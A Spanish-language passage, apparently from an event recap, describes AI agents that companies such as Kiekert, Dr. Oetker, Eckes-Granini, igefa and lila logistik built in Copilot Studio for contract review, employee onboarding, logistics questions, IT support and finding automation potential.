Kiekert ahora categoriza los requisitos de I+D mediante lógica basada en reglas, con una puntuación de confianza y un bucle de retroalimentación. El agente ya está en producción. Dr. Oetker construyó un Contract Review Assistant que revisa contratos de TI en busca de cláusulas críticas y genera un informe estructurado para compras y legal. Eckes-Granini presentó dos agentes: un agente de incorporación que guía a los nuevos empleados desde su primer inicio de sesión a través de MFA, configuración de Office y políticas de seguridad, y un agente de logística que responde preguntas de los operadores sobre envíos, tarifas y transportistas. igefa desarrolló un agente de asistencia telefónica por voz para el soporte de TI interno, conectado a JIRA y Confluence. Y lila logistik trajo quizás el proyecto más inusual: un generador de casos de uso que observa SharePoint y Exchange para identificar potencial de automatización — porque el problema real a menudo no es la tecnología, sino que nadie en la empresa identifica los lugares adecuados para automatizar.",[806,4282,4283],{},"Todo esto se desarrolló en Copilot Studio, con Agent Flows, conexiones a Dataverse y conectores MCP, con el acompañamiento de cuatro de nuestros MVPs.
